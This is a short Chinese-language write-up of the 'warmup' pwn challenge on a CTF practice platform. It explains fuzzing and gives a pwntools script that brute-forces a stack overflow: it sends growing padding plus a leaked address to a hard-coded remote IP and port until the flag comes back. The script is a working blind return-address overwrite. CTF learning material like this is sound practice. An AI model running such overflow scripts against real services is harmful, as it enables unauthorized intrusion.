攻防世界warmup pwn wp(fuzz)

发现这题没给附件,所以是要fuzz的题目(最开始不知道什么叫fuzz = =,在这里解释一下,(fuzzing)模糊测试的意思,百度是这样解释的:模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。

首先先远程看一下:

可以发现给了我们一个十六进制数(应该是地址)

那首先根据这些我们可以先将fuzz函数写出来,分三种情况——不用他给的地址(0),用p32发送(1),用p64送(2)

exp

from pwn import*

addr = 0x40060d
def send_fuzz(p,num,type):
	payload = 'A'*num
	if type == 1:
		payload += p32(addr)
	if type == 2:
		payload += p64(addr)
	p.sendlineafter('>', payload)

def main():
	for i in range(0x100):
		for j in range(3):
			p = remote("220.249.52.133","35429")
			try:
				send_fuzz(p,i+1,j)
				r = p.recv()
				print('recv::length=' + str(len(r)) + ', content=' + r + '\'\n')
				print('num=' + str(i) + ', flag=' + str(j))
				p.interactive()

			except:
				p.close()

if __name__ == '__main__':
	main()

就等他跑出flag就可以了

看结果我们可以知道,应该把它的地址以64位的形式发送会返回flag。

第一次接触fuzz...qaq我太菜了


版权声明:本文为weixin_43876357原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。